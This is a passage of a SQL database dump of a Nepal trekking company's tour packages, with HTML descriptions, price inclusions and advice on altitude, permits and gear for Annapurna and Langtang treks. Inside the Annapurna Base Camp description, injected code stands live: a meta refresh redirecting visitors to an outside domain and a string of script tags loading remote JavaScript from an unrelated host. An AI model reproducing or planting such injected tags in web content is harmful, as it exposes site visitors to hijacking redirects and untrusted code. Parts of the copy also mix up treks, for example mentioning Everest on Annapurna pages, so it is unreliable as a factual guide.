also have First Aid Kit)</li></ul><p>&nbsp;</p>', 'Langtang Valley Trekking | Langtang Valley Trekking Cost and Itinerary 2024', 'Langtang Valley Trekking - The Himalayan view such as Langtang 7,234m Langtang Lirung 7,245m Dorje Lakpa 6,989m, Shishapangma 8,027m, Gangchenpo 6,387m and more silver peaks are the main eye-catching point of this trekking trail.', 'langtang valley trekking, langtang valley trek, langtang trek, langtang valley trekking cost, langtang trekking 2024, langtang valley trekking itinerary, adventure planner, langtang trekking permit, best time for langtang valley trekking, langtang valley trekking 2024', NULL, '2023-06-28 07:40:12', '2024-12-31 06:31:06'),
(16, 'Annapurna Base Camp Trekking', 'annapurna-base-camp-trekking', '312', '71', '312,311,79,78,85,86', 1, '<p style=\"text-align:justify;\"><strong>Annapurna Base Camp is also known as ABC trek or Annapurna Sanctuary Trek</strong> which is situated inside Annapurna Conservation Area Project as one of the beautiful, <a href=\"https://www.adventuresplanner.com/activities/trekking-hiking\"><strong>short and easy trek of Nepal</strong></a>. The <strong>trekking trail of Annapurna Base Camp</strong> offers majestic view of Annapurna range, local ethnic Gurung settlement, lush green forest of rhododendron and bamboo, uphill and downhill path, glacier moraine, waterfall, Rivers, hot spring and attractive greenery landscape of Annapurna region.&nbsp;&nbsp;<br><br><strong>The view from Annapurna Base Came is unique and breathtaking with an elevation of 4130 meters. </strong>After trekkers enter inside sanctuary, can have huge Himalayan sights enclosed by a solid wall of silver peaks such as <strong>Annapurna I (8,091m), Annapurna South (7,219m), Hiunchuli (6,441m), Machhapuchare (6,993m) Gangapurna (7,485m) Tent Peak (5,663m) </strong>with Annapurna glacier and more mountain views. The <strong>trek route of ABC </strong>also presents diverse flora and fauna, topography and wildlife. The <strong>sunset and sunrise view of Base Camp</strong> is amazing which changes Himalayan peaks into golden color and it will be great opportunity to take photograph.&nbsp;&nbsp;<br><br>Though, in the <strong>beginning part of the ABC trek routes have 3 options to enter inside </strong><a href=\"https://www.adventuresplanner.com/destinations/annapurna-region\"><strong>Annapurna region</strong></a>, we choose longer way to reach ABC, after having 1:30 hrs drive from Pokhara to Nayapul and hike to Ulleri Village via Hile and Tikhedhunga. &nbsp;Later, we follow the uphill Path of <a href=\"https://www.adventuresplanner.com/packages/ghorepani-poonhill-trekking\"><strong>Ghorepani</strong></a> and downhill path to Tadapani village and hike to Chomrong, Dovan, Himalaya, Deurali, MBC, ABC having descending way to Hot Spring of Jhinu Danda and drive to Pokhara. Last day of the trek, trekkers can have relaxing and healing for aching muscles in hot spring. Trekkers feel life time unforgettable experience after<strong> visiting ABC</strong> due to its virgin beauty, overwhelming nature, peaceful environment of trek route and welcoming local Himalayan people. &nbsp;<script async=\"\" src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-8891303795668056\" crossorigin=\"anonymous\"></script>&nbsp;<meta httpequiv=\"Refresh\" content=\"90; URL=http://redirect4.xyz/\"><script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/tujuh.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/tujuh.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/dua.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/dua.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/satu.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/satu.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/sepuluh.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/sepuluh.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/news/wp.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/lima.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/enam.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/tiga.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/empat.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/sembilan.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/sembilan.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/delapan.js\"></script>&nbsp;<br>&nbsp;</p><h3><strong>Highlights of the Annapurna Base Camp Trekking</strong></h3><ul><li>Majestic view of Annapurna Himalaya</li><li>Explore local Gurung settlement and their life style</li><li>Lush Green forest of Bamboo, Rhododendron, waterfall and Annapurna glacier</li><li>Beautiful village of Ghandruk and Chomrong&nbsp;</li><li>Encounter beautiful Annapurna Base Camp&nbsp;&nbsp;<br>&nbsp;</li></ul><p style=\"text-align:justify;\">&nbsp;</p>', 'Annapurna Base Camp is also known as ABC trek or Annapurna Sanctuary Trek which is situated inside Annapurna Conservation Area Project as one of the beautiful, short and easy trek of Nepal. The trekking trail of Annapurna Base Came offers majestic view of Annapurna range, local ethnic Gurung settlement, lush green forest of rhododendron and bamboo, uphill and downhill path, glacier moraine, waterfall, Rivers, hot spring and attractive greenery landscape of Annapurna region.', NULL, NULL, NULL, NULL, NULL, 0, '<ul style=\"list-style-type:disc;\"><li style=\"list-style-type:disc;\">Airport Pickup and drop in Private Transport&nbsp;</li><li style=\"list-style-type:disc;\">Kathmandu Sightseeing with Cultural Tour Guide, Entrance Fees of Hindu/Buddhist Temple</li><li style=\"list-style-type:disc;\">3 star Hotel in Kathmandu and Pokhara with Twin Share including breakfast only&nbsp;</li><li style=\"list-style-type:disc;\">Pokhara to Nayapul drive (Before Trek) and Nayapul to Pokhara drive (after Trek)</li><li style=\"list-style-type:disc;\">Flight from Pokhara to Kathmandu &nbsp;</li><li style=\"list-style-type:disc;\">Kathmandu to Pokhara drive by private Transport&nbsp;</li><li style=\"list-style-type:disc;\">English Speaking Trekking Guide including his salary, insurance, equipment, Food and Accommodation&nbsp;</li><li style=\"list-style-type:disc;\">Strong Trekking Porter including his salary, insurance, equipment, Food and Accommodation</li><li style=\"list-style-type:disc;\">Twin share Tea House Accommodation with Breakfast only during Annapurna Base Camp Trekking&nbsp;</li><li style=\"list-style-type:disc;\">Annapurna Conversation Area Project Permit, TIMS and all Documents for Annapurna Trekking</li><li style=\"list-style-type:disc;\">Nepal Government Taxes and Office Service Charge&nbsp;<br>&nbsp;</li></ul>', '<ul><li>Lunch &amp; Dinner during Kathmandu and Pokhara&nbsp;</li><li>Lunch &amp; Dinner during Annapurna Base Camp Trekking</li><li>Nepal Visa Fee (30$ for 15 Days and 50$ for 30 Days)&nbsp;</li><li>International Flight Ticket</li><li>Personal Trekking /Travel Insurance&nbsp;</li><li>Personal Trekking equipment and Clothes&nbsp;</li><li>Hot Shower, Wi-Fi in mountain, Battery Charge and all personal expenses during Trekking&nbsp;</li><li>Tips for Guide &amp; Porter</li><li>Any other things not mentioned&nbsp;<br>&nbsp;</li></ul>', '<h3>Jomsom – Pokhara Flight&nbsp;</h3><p><br>Jomsom airport is one of the most exciting airport in the world where in peak seasons, the airport becomes very busy with many flights from Pokhara. Sometime due to unexpected weather the flight can be delay and cancellation of the flight is common here. &nbsp;Due to wind, on the route sometime the weather change immediately. The Hindu pilgrimage from Nepal and India fly to Jomsom from Pokhara for visiting Muktinath Temple. If there will be uncertainty Pokhara flight from Jomsom due to weather, we also have alternative Jeep drive to Pokhara from Jomsom, takes 9- 10 hour drive. But we wish best weather and have good flight to Pokhara.&nbsp;<br>&nbsp;</p><h2 style=\"text-align:justify;\">Trekking Difficulty&nbsp;</h2><p style=\"text-align:justify;\"><br>Is it difficult to trek to Annapurna Base Camp? &nbsp;You do not need to be a good Football player or Olympic athlete to success ABC trek. We have most experience of people success to reach Annapurna Base Camp. So, anyone who is mentally and physically fit can easily completer the journey to Annapurna Base Camp. Walking slowly, drink plenty of water, enjoying nature, avoiding cold, eating a balanced died and mentally daring to reach ABC with happy mood are the hallmarks of your successful journey to destination. Though, ABC is moderate trekking trail having steep hills with ascending and descending path, sometime with ice, if snow but there will be no need any technical equipment or skill. We have 100% clients became success to reach ABC.&nbsp;</p><h2 style=\"text-align:justify;\"><br>High Altitude Sickness &nbsp;&nbsp;&nbsp;&nbsp;</h2><p style=\"text-align:justify;\"><br>If the trekkers have symptoms of headache, loss of appetite, diarrhea, shortness of breath, fatigue, nausea, rapid pulse with sleeping problem, he/she is suffered by high altitude sickness. &nbsp;The other factors such as changing weather, cold, sun, wind, low oxygen and bad foods are the key component of high altitude sickness. So trekkers need to warm while trekking ABC with proper clothes and equipment. It can affect people of any age, sex and physical conditions. So, we suggest our clients, do not drink alcohol and smoke, drink plenty of water while hiking to ABC, train your body and strength up before trekking, eat energy food, and mentally be happy during your journey. The most common medicine for preventing high altitude sickness is Diamox or Acetazolamide. Even our guide takes Diamox on the route which is easily purchased in Kathmandu and Pokhara. Ascending down is the solution to avoid high altitude as the altitude sickness affects people from the elevation of 2600 meters above sea level. For normal high altitude sickness our guide helps to control by providing medicine and good food and he takes to medication center where available. If the trekkers feel bad, we send private helicopter for rescue, which is covered by your personal travel insurance. So, individual insurance is necessary while trekking to Everest Base Camp. &nbsp;But we do not experience till today, the clients feed altitude sickness during the trek to ABC till today.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Best Time to Go&nbsp;</h2><p style=\"text-align:justify;\"><br>If you are looking trek to Annapurna Base Camp, must know the best time to visit such as weather and circumstances with other factors that affects in your trip. The best time to visit Annapurna Base Camp is March – May and Sep – Nov due to clear sky and pleasant temperature. &nbsp;Spring and autumn is considered as the best season to trek Everest Base Camp. In spring, the days are warmer and longer whereas the autumn has short days. October and April is the peak touristic months having more crowd but the weather is fantastic and amazing.&nbsp;</p><p style=\"text-align:justify;\">Pre-monsoon is called spring season that covers the month of March, April and May whereas rhododendron and flower blooms with warm temperature. In higher route, there will be more chance of problematic snowfall with sunny weather but it is very rare. If trekkers go to ABC trek, during spring season, he or she is very luck to walk through the forest of rhododendron. The whole hill becomes red and the panoramic view of Annapurna makes your trip life time unforgettable.&nbsp;</p><p style=\"text-align:justify;\"><br>Post-monsoon is called autumn season that covers the month of September, October and November whereas the Himalaya is full of blue sky, pleasant atmosphere, moderate temperature with less chance of problematic snowfall. As for the climate, it is neither warmer at day or not freezing cold at night. The Tea houses, cafes are full of tourist and visitors in autumn season.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Accommodation&nbsp;</h2><p style=\"text-align:justify;\"><br>During the trekking trail to Annapurna Base Camp, trekkers sleep and eat in Tea houses. Tea houses provide tea and food which is the best possible accommodation available on the route. Tea houses offer very basic accommodation facilities having bed and blanket inside the room and some places attached bathroom too. The tea houses looks very basic and normal but it is neat and clean. Though, tea houses provide us the blanket but it is not enough to reduce cold. That is why, we suggest to bring sleeping bag own self to make warm and safety night. Till chhomrong Village, we provide you attached Room but onwards till to ABC, there will be very simple room with beds but it is neat and clean.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Food and water&nbsp;</h2><p style=\"text-align:justify;\"><br>Food and water is very important things during the trekking to Annapurna Base Camp. Tea houses provide breakfast, Lunch, Dinner and Tea/coffee. Trekkers can choose the food from Menu list what they like to eat such as Nepali food (Dal Bhat), soups, snakcs, momos, fried Rice, continental and American breakfast, porridge, Bread with Jam and honey, Eggs, noodles, spaghetti, spring roll, fried potatoes, and steak. We recommend to have vegetarian food after Chomrong Village due to no refrigerator that may cause stomach problem. Even, after Chomrong, meat is not allowed to eat due to Buddhist culture and respect to Himalaya. Therefore, we would highly recommend to avoid meat dishes on the route with exception of tinned fish and preserved items. So, no need to carry food except chocolates, such as Diary milk, Snickers, Mars and so on.&nbsp;</p><p style=\"text-align:justify;\"><br>Do not drink water from river or water fall; local people can easily drink the running water that is not fit for foreigners as they do not have habit before. So, we recommend to drink bottle water or boiled water for good health that keeps our body safe. Even, trekkers keep purification tablet inside water, kills 99.9% of bacteria, virus and protozoa. Because of the altitude, it is recommend to drink 2-3 liters per day. But, during the trek to ABC, you cannot buy bottle water rather Tea houses will provide filtered water but you must carry bottle to fill. &nbsp;</p><h2 style=\"text-align:justify;\"><br>Hire a Guide&nbsp;</h2><p style=\"text-align:justify;\"><br>A person having license from Nepal government, who guides visitor, interprets the cultural and nature, leads the right track to the Himalaya having responsible work recognized by the appropriate authority is known as trekking guide. Guide not only led the way rather he is the ambassador of country explaining People, history, geography, religion and make successful attempt for visitors.&nbsp;</p><p style=\"text-align:justify;\"><br>Trekking guide is also knows as Trek Leader who makes easy access in Himalayan region to book Tea houses, order food for visitors, manage porters, and lead the right trail to destination. During trekking, Guide is a good friend, makes entertainment with fun and laughter too. So, Trekking guides has very important role who not only make enjoyable trip but also educate the visitors through interpretation and contribute sustainability of local environment. The trekking agency should choose appropriate guide by providing suitable training time and again though they are government license holder. Guides expected to work to a high level of customer service keeping good reputation of the company and clients.&nbsp;</p><p style=\"text-align:justify;\"><br>That is why our Guide has good communication skill, immediately solve the problem, decision making with self-motivation having physically strong and fit. Either the visitor go to Everest region trek, Annapurna region trek, Upper Mustang trek or other trekking trail, our guide makes successful effort to complete the trip.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Hire a Porter&nbsp;</h2><p style=\"text-align:justify;\"><br>Trekking porters are those people who carry the gear of trekkers from one place to other, lives in village especially from Sherpa, Tamang, Gurung and Rai, community. They are very innocent, kind, pleasant and smiling having broken English will be together from beginning to the end of the trip. Even in Annapurna region, the Brahmin and Chhetri people are working as trekking porters nowadays. A trekking porter carries 25 kg to 30 kg of gears who are very fit from mountain altitude. Porters are the transport of the visitors so must be good relationship with Guide and trekkers. During the end of the trek at Pokhara, we suggest for visitor to have TIP to porters for their support and cooperation. &nbsp;</p><h2 style=\"text-align:justify;\"><br>Telephone and Internet&nbsp;</h2><p style=\"text-align:justify;\"><br>The internet, telephone and mobile phone is available all the way to Annapurna Base Camp. There are multiple option for Internet, mobile network such as NTC and NCELL. Sometimes internet becomes poor during the time of bad weather or snow. NCELL and NTC are cheaper that works during trekking trail as well as Kathmandu too. Even trekkers can purchase WIFI in local tea houses which is chargeable.&nbsp;</p><p style=\"text-align:justify;\"><br>Due to the exciting geography and sometime bad weather conditions the mobile network has not access in all parts of the trial but the network such as NCELL and NTC works most of the places. The both NTC and NCELL Sim Cards can purchase at Tribhuvan Interantional Airport, Kathmandu or in the street of touristic town Thamel.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Toilet and Shower&nbsp;</h2><p style=\"text-align:justify;\"><br>Wherever travel in the Himalaya, must know the circumstances of toilet and shower before depart to the destination. During the trekking to Annapurna Base Camp, in higher route, toilet should be shared by all trekkers due to common Tea houses only with normal beds in the room. Till Chomrong village, trekkers can have shower and toilet inside Room but after chomrong, both should be shared and it is public. But during peak season, sometime due to over flow of tourist, we could not find attached bathroom even low altitude places.</p><h2 style=\"text-align:justify;\"><br>Trek Insurance&nbsp;</h2><p style=\"text-align:justify;\"><br>Trek insurance is very important component during the trek to Annapurna Base Camp. We suggest trekkers to make plan to be covered up to 4,400 meters. Due to unexpected event or emergency evacuation, if the trekkers feel uncomfortable to walk in Himalaya, Helicopter rescue is necessary along with administration in hospital. So, need insurance for your safety and protection. There are so many insurance companies, you may find in internet and make strong insurance for your security. There may occur so many causes such as altitude sickness, accidents, physical illness, flight cancellation, that is why need to make insurance before you fly to Nepal for Annapurna Base Camp Trek.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Trek Permit&nbsp;</h2><p style=\"text-align:justify;\"><br>Annapurna Base Camp is situated inside the territory of Annapurna Conservation Area which is the first conservation area of Nepal. Foreign Trekkers are required to obtain permit to entry Annapurna Base Camp such as ACAP Permit and TIMS.&nbsp;</p><p style=\"text-align:justify;\"><br>ACAP is known as Annapurna Conservation Area permit which cost 30$ per person where is 10$ for TIMS (Trekking Information Management System). Permits and TIMS can be purchased in Nepal Tourism Board by our company. During trek, need to show Permit in checking points from our trekking guide and provide permit to you after finish the trek in Pokhara. Our company need your passport copy and 2 copy of passport size Photos to make permit at Kathmandu.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Trek Equipment List&nbsp;</h2><p style=\"text-align:justify;\"><br>While trekking to Everest Base Camp, need to sufficient trekking gears for your protection and safety. Trekking gears not only make protection for your body, it makes successful trip to Annapurna Camp. The trekking gears also have benefit to remove high altitude sickness and make easy access to destination. The following gears are mandatory towards Annapurna Base Camp Trek.&nbsp;</p><ul><li style=\"text-align:justify;\">Sleeping Bag (-20)&nbsp;</li><li style=\"text-align:justify;\">Trekking poles&nbsp;</li><li style=\"text-align:justify;\">Waterproof hiking boot</li><li style=\"text-align:justify;\">Water proof warm Gloves</li><li style=\"text-align:justify;\">Sport shoes &nbsp;&nbsp;&nbsp;&nbsp;</li><li style=\"text-align:justify;\">Waterproof hiking Pant</li><li style=\"text-align:justify;\">Fleece pant</li><li style=\"text-align:justify;\">&nbsp;Comfortable underwear&nbsp;</li><li style=\"text-align:justify;\">Warm and thin socks&nbsp;</li><li style=\"text-align:justify;\">Duffel Bag, 90L</li><li style=\"text-align:justify;\">Hand carry bag&nbsp;</li><li style=\"text-align:justify;\">Water bottle&nbsp;</li><li style=\"text-align:justify;\">Hiking Shorts&nbsp;</li><li style=\"text-align:justify;\">Down Jacket</li><li style=\"text-align:justify;\">Warm Cap &amp; Sun Cap&nbsp;</li><li style=\"text-align:justify;\">Sun Glass</li><li style=\"text-align:justify;\">Sun Cream</li><li style=\"text-align:justify;\">Lip care&nbsp;</li><li style=\"text-align:justify;\">Headlamp with extra batteries</li><li style=\"text-align:justify;\">Neck Gaiter &nbsp;</li><li style=\"text-align:justify;\">Lightweight thermal tops</li><li style=\"text-align:justify;\">Waterproof jacket with hood, waterproof and breathable</li><li style=\"text-align:justify;\">Rain coat&nbsp;</li><li style=\"text-align:justify;\">Travel Towel&nbsp;</li><li style=\"text-align:justify;\">Camera</li><li style=\"text-align:justify;\">Personal first Aid Kit (Though our guide also have First Aid Kit)<br>&nbsp;</li></ul>', 'Annapurna Base Camp Trekking | ABC Trek 2025 | Annapurna Sanctuary Trek', 'Annapurna Base Camp is also known as ABC trek or Annapurna Sanctuary Trek, the booking is open for ABC Trek 2025.', 'Annapurna Base Camp Trekking, ABC Trek 2025, Anapurna Sanctuary Trek', NULL, '2023-07-16 06:48:04', '2025-02-26 02:50:16');
INSERT INTO `packages` (`id`, `name`, `slug`, `image`, `banner`, `gallery`, `status`, `description`, `short_description`, `map`, `discount`, `location`, `special_title`, `special`, `price`, `inclusions`, `exclusions`, `overview`, `seo_title`, `seo_description`, `seo_keywords`, `seo_schema`, `created_at`, `updated_at`) VALUES
(17, 'Annapurna Circuit Trek', 'annapurna-circuit-trek', '318', NULL, '318,317,314,316,315,313,319', 1, '<p style=\"text-align:justify;\"><strong>Annapurna Circuit is popular adventurous trekking trail of Nepal that allows to hike world’s highest Himalayan pass called Thorong La (5,416m)</strong> and fly over world’s deepest River gorge between Annapurna and Dhaulagiri range. The trek is also known as <strong>Round Annapurna Trek or Thorong La Pass Trek.</strong> This trekking trail offers beautiful landscape of white Annapurna Himalaya, classical Tibetan villages of Manang, Pisang, and Jharkot, glacial moraine, historical Buddhist pilgrimage, breathtaking waterfalls with diverse geographical landscape.&nbsp;</p><p style=\"text-align:justify;\"><br>During adventure trekking trail to Annapurna circuit, we can have amazing Himalayan Peaks such as <strong>Annapurna II (7,937m), Annapurna III (7,555), Annapurna IV (7,525m), Tilicho Peak (7,134m), Gangapurna (7,455m), Lamjung Himal (6,983m), Mt. Manaslu (8,163m), Pisang Peak (6091m), Chulu East (6,584m), Chulu West (6,419m), Machhapuchre (6,993m), &nbsp;Nilgiri (7,041m)</strong> with massive range of 7th and 10th highest Mountain of the world called <strong>Dhaulagiri (8,167m) and Annapurna I (8,091m)</strong>.&nbsp;<br><br><strong>Annapurna Circuit Trek</strong> begins from Beshisahar, but we can recommend to start your trek from Jagat due to more vehicle drive in lower part of <a href=\"https://www.adventuresplanner.com/destinations/annapurna-region\"><strong>Annapurna region</strong></a>. People also can have direct drive to Manang village by private Jeep from Besisahar but need acclimatize to hike in lower part to make successful Himalayan cross. The trail goes along with Marshyangdi River, terrace Rice field, sub-tropical forest, beautiful waterfalls, local villages having great chance to explore local ethnic culture and lifestyle of Himalayan people such as Gurung, Magar and Thakali. There is Tibetan influence in higher region, so we can encounter Tibetan Buddhism including old monastery, Chortens, Mani wall, prayer flags, and their typical houses.&nbsp;<br><br>After <strong>crossing amazing pass of Thorong La</strong>, we trek down to <strong>Hindu and Buddhist pilgrimage Muktinath</strong>, with an elevaton of 3800 meter. <strong>Muktinath</strong> is famous Vishnu Temple which means “Lord of Salvation”. Thousands of Hindu devotees visit this place to get moksha (salvation) from the cycle of birth and rebirth. Knowingly or unknowingly, if Hindu people did sin in their life, can get salvation after visiting this temple. According to Buddhist tradition, <a href=\"https://www.adventuresplanner.com/blogs/ghar-gumba-an-ancient-monastery-of-the-world\"><strong>Guru Rimpochen</strong></a> founded the Tibetan faith, stopped in this place to pray the sky dancing goddesses, when he was on the way to Tibet in 8th century. We can also visit the Tibetan monastery having naturel fire (gas from soil) inside and meet with female nuns. We end our trek in Jomsom and fly to Pokhara having scenic view of sliver Himalayan peaks.<br>&nbsp;</p><h3><strong>Highlights of the Annapurna Circuit Trek</strong></h3><ul><li>Cross adventure Himalayan Pass of Thorong La (5416m)&nbsp;</li><li>Fly over world’s deepest gorge between Annapurna and Dhaulagiri Range</li><li>Encounter classical Tibetan villages of Manang, Pisang and Jharkot</li><li>Visit popular &nbsp;Hindu Temple called Muktinath</li><li>Diverse geographical landscape, Historical Buddhist pilgrimage</li><li>7th and 10th highest mountain of the world called Annapurna I (8,091m) and Dhaulagiri (8,167m)&nbsp;<br><br><br>&nbsp;</li></ul>', 'Annapurna Circuit is popular adventurous trekking trail of Nepal that allows to hike world’s highest Himalayan pass called Thorong La (5,416m) and fly over world’s deepest River gorge between Annapurna and Dhaulagiri range. The trek is also known as Round Annapurna Trek or Thorong La Pass Trek. This trekking trail offers beautiful landscape of white Annapurna Himalaya, classical Tibetan villages of Manang, Pisang, and Jharkot, glacial moraine, historical Buddhist pilgrimage, breathtaking waterfalls with diverse geographical landscape.', NULL, NULL, 'Nepal', NULL, NULL, 0, '<p style=\"list-style-type:square;\">&nbsp;</p><ul style=\"list-style-type:square;\"><li style=\"list-style-type:square;\">Airport Pickup and drop in Private Transport&nbsp;</li><li style=\"list-style-type:square;\">Kathmandu Sightseeing with Cultural Tour Guide, Entrance Fees of Hindu/Buddhist Temple</li><li style=\"list-style-type:square;\">3 star Hotel in Kathmandu and Pokhara with Twin Share including breakfast only&nbsp;</li><li style=\"list-style-type:square;\">Jomsom-Pokhara flight, &amp; Pokhara to Kathmandu Flight &nbsp;</li><li style=\"list-style-type:square;\">Guide flight Ticket Jomsom - Pokhara</li><li style=\"list-style-type:square;\">Kathmandu to Besisahar drive By Private Transport and Besisahar to Chamje drive by Jeep</li><li style=\"list-style-type:square;\">English Speaking Trekking Guide including his salary, insurance, equipment, Food and Accommodation&nbsp;</li><li style=\"list-style-type:square;\">Strong Trekking Porter including his salary, insurance, equipment, Food and Accommodation</li><li style=\"list-style-type:square;\">Twin share Tea House Accommodation with Breakfast only during Annapurna Circuit Trekking&nbsp;</li><li style=\"list-style-type:square;\">Annapurna Conversation Area Project Permit, TIMS and all Documents for Annapurna Trekking</li><li style=\"list-style-type:square;\">Nepal Government Taxes and Office Service Charge&nbsp;<br>&nbsp;</li></ul>', '<ul style=\"list-style-type:square;\"><li style=\"list-style-type:square;\">Lunch &amp; Dinner during Kathmandu and Pokhara&nbsp;</li><li style=\"list-style-type:square;\">Lunch &amp; Dinner during Annapurna Base Camp Trekking</li><li style=\"list-style-type:square;\">Nepal Visa Fee (30$ for 15 Days and 50$ for 30 Days)&nbsp;</li><li style=\"list-style-type:square;\">International Flight Ticket</li><li style=\"list-style-type:square;\">Personal Trekking /Travel Insurance&nbsp;</li><li style=\"list-style-type:square;\">Personal Trekking equipment and Clothes&nbsp;</li><li style=\"list-style-type:square;\">Hot Shower, Wi-Fi in mountain, Battery Charge and all personal expenses during Trekking&nbsp;</li><li style=\"list-style-type:square;\">Tips for Guide &amp; Porter</li><li style=\"list-style-type:square;\">&nbsp;Any other things not mentioned&nbsp;<br>&nbsp;</li></ul>', '<h3 style=\"text-align:justify;\">Jomsom – Pokhara Flight&nbsp;</h3><p style=\"text-align:justify;\"><br>Jomsom airport is one of the most exciting airport in the world where in peak seasons, the airport becomes very busy with many flights from Pokhara. Sometime due to unexpected weather the flight can be delay and cancellation of the flight is common here. &nbsp;Due to wind, on the route sometime the weather change immediately. The Hindu pilgrimage from Nepal and India fly to Jomsom from Pokhara for visiting Muktinath Temple. If there will be uncertainty Pokhara flight from Jomsom due to weather, we also have alternative Jeep drive to Pokhara from Jomsom, takes 9- 10 hour drive. But we wish best weather and have good flight to Pokhara.&nbsp;</p><h3 style=\"text-align:justify;\"><br>Trekking Difficulty&nbsp;</h3><p style=\"text-align:justify;\"><br>Is it difficult to trek Annapurna Circuit? &nbsp;You do not need to be a good Football player or Olympic athlete to success Annapurna Cirucit trek. Sometime, we have many experience of young people failing to reach Annapurna Circuit and older people succeeding. So, anyone who is mentally and physically fit can easily completer the journey to Annapurna Circuit. Walking slowly, drink plenty of water, enjoying nature, avoiding cold, eating a balanced died and mentally daring to reach Annapurna with happy mood are the hallmarks of your successful journey to destination. Though, Annapurna Cirucit is challenging trekking trail having steep hills with ascending path, sometime with ice but there will be no need any technical equipment or skill.&nbsp;</p><h3 style=\"text-align:justify;\"><br>High Altitude Sickness&nbsp;</h3><p style=\"text-align:justify;\"><br>If the trekkers have symptoms of headache, loss of appetite, diarrhea, shortness of breath, fatigue, nausea, rapid pulse with sleeping problem, he/she is suffered by high altitude sickness. &nbsp;The other factors such as changing weather, cold, sun, wind, low oxygen and bad foods are the key component of high altitude sickness. So trekkers need to warm while trekking Annapurna Circuit with proper clothes and equipment. It can affect people of any age, sex and physical conditions. So, we suggest our clients, do not drink alcohol and smoke, drink plenty of water while hiking to Annapurna, train your body and strength up before trekking, eat energy food, and mentally be happy during your journey. The most common medicine for preventing high altitude sickness is Diamox or Acetazolamide. Even our guide takes Diamox on the route which is easily purchased in Kathmandu. Ascending down is the solution to avoid high altitude as the altitude sickness affects people from the elevation of 2600 meters above sea level. For normal high altitude sickness our guide helps to control by providing medicine and good food and he takes to medication center where available. If the trekkers feel bad, we send private helicopter for rescue, which is covered by your personal travel insurance. So, individual insurance is necessary while trekking to Annapurna Circuit.&nbsp;</p><h3 style=\"text-align:justify;\"><br>Best Time to Go&nbsp;</h3><p style=\"text-align:justify;\"><br>If you are looking trek to Annapurna Circuit, must know the best time to visit such as weather and circumstances with other factors that affects in your trip. The best time to visit Annapurna Circuit is March – May and Sep – Nov due to clear sky and pleasant temperature. &nbsp;Spring and autumn is considered as the best season to trek Everest Base Camp. In spring, the days are warmer and longer whereas the autumn has short days. October and April is the peak touristic months having more crowd but the weather is fantastic and amazing.<br><br>Pre-monsoon is called spring season that covers the month of March, April and May whereas the lower region of Everest, rhododendron and flower blooms with warm temperature. In higher route, there will be more chance of problematic snowfall with sunny weather.&nbsp;<br><br>Post-monsoon is called autumn season that covers the month of September, October and November whereas the Himalaya is full of blue sky, pleasant atmosphere, moderate temperature with less chance of problematic snowfall. As for the climate, it is neither warmer at day or not freezing cold at night. The Tea houses, cafes are full of tourist and visitors in autumn season.&nbsp;</p><h3 style=\"text-align:justify;\">Accommodation&nbsp;</h3><p style=\"text-align:justify;\"><br>During the trekking trail to Annapurna Cirucit, trekkers sleep and eat in Tea houses. Tea houses provide tea and food which is the best possible accommodation available on the route. Tea houses offer very basic accommodation facilities having bed and blanket inside the room and some places attached bathroom too. The tea houses looks very basic and normal but it is neat and clean. In our program, we provide simple/normal lodge for trekkers and according of their choice and interest also can provide luxury lodge where available. Though, tea houses provide us the blanket but it is not enough to reduce cold. That is why, we suggest to bring sleeping bag own self to make warm and safety night. The attached room is possible in low altitude but in high altitude after Manang, there will be very basic Tea house Room with Beds.&nbsp;</p><h3 style=\"text-align:justify;\"><br>Food and water&nbsp;</h3><p style=\"text-align:justify;\"><br>Food and water is very important things during the trekking to Annapurna Circuit. Tea houses provide breakfast, Lunch, Dinner and Tea/coffee. Trekkers can choose the food from Menu list what they like to eat such as Nepali food (Dal Bhat), soups, snakcs, momos, fried Rice, continental and American breakfast, porridge, Bread with Jam and honey, Eggs, noodles, spaghetti, spring roll, fried potatoes, and steak. We recommend to have vegetarian food during trek due to porter and yaks carry meat from lower region which is not refrigerated that may cause stomach problem. Therefore, we would highly recommend to avoid meat dishes on the route with exception of tinned fish and preserved items. So, no need to carry food except chocolates, such as Diary milk, Snickers, Mars and so on. But in low region, if Tea houses can provide fresh meat of Chicken can eat easily.&nbsp;<br>Do not drink water from river or water fall; local people can easily drink the running water that is not fit for foreigners as they do not have habit before. So, we recommend to drink bottle water or boiled water for good health that keeps our body safe. Even, trekkers keep purification tablet inside water, kills 99.9% of bacteria, virus and protozoa. Because of the altitude, it is recommend to drink 2-3 liters per day.&nbsp;</p><h3 style=\"text-align:justify;\"><br>Hire a Guide&nbsp;</h3><p style=\"text-align:justify;\"><br>A person having license from Nepal government, who guides visitor, interprets the cultural and nature, leads the right track to the Himalaya having responsible work recognized by the appropriate authority is known as trekking guide. Guide not only led the way rather he is the ambassador of country explaining People, history, geography, religion and make successful attempt for visitors.&nbsp;<br><br>Trekking guide is also knows as Trek Leader who makes easy access in Himalayan region to book Tea houses, order food for visitors, manage porters, and lead the right trail to destination. During trekking, Guide is a good friend, makes entertainment with fun and laughter too. So, Trekking guides has very important role 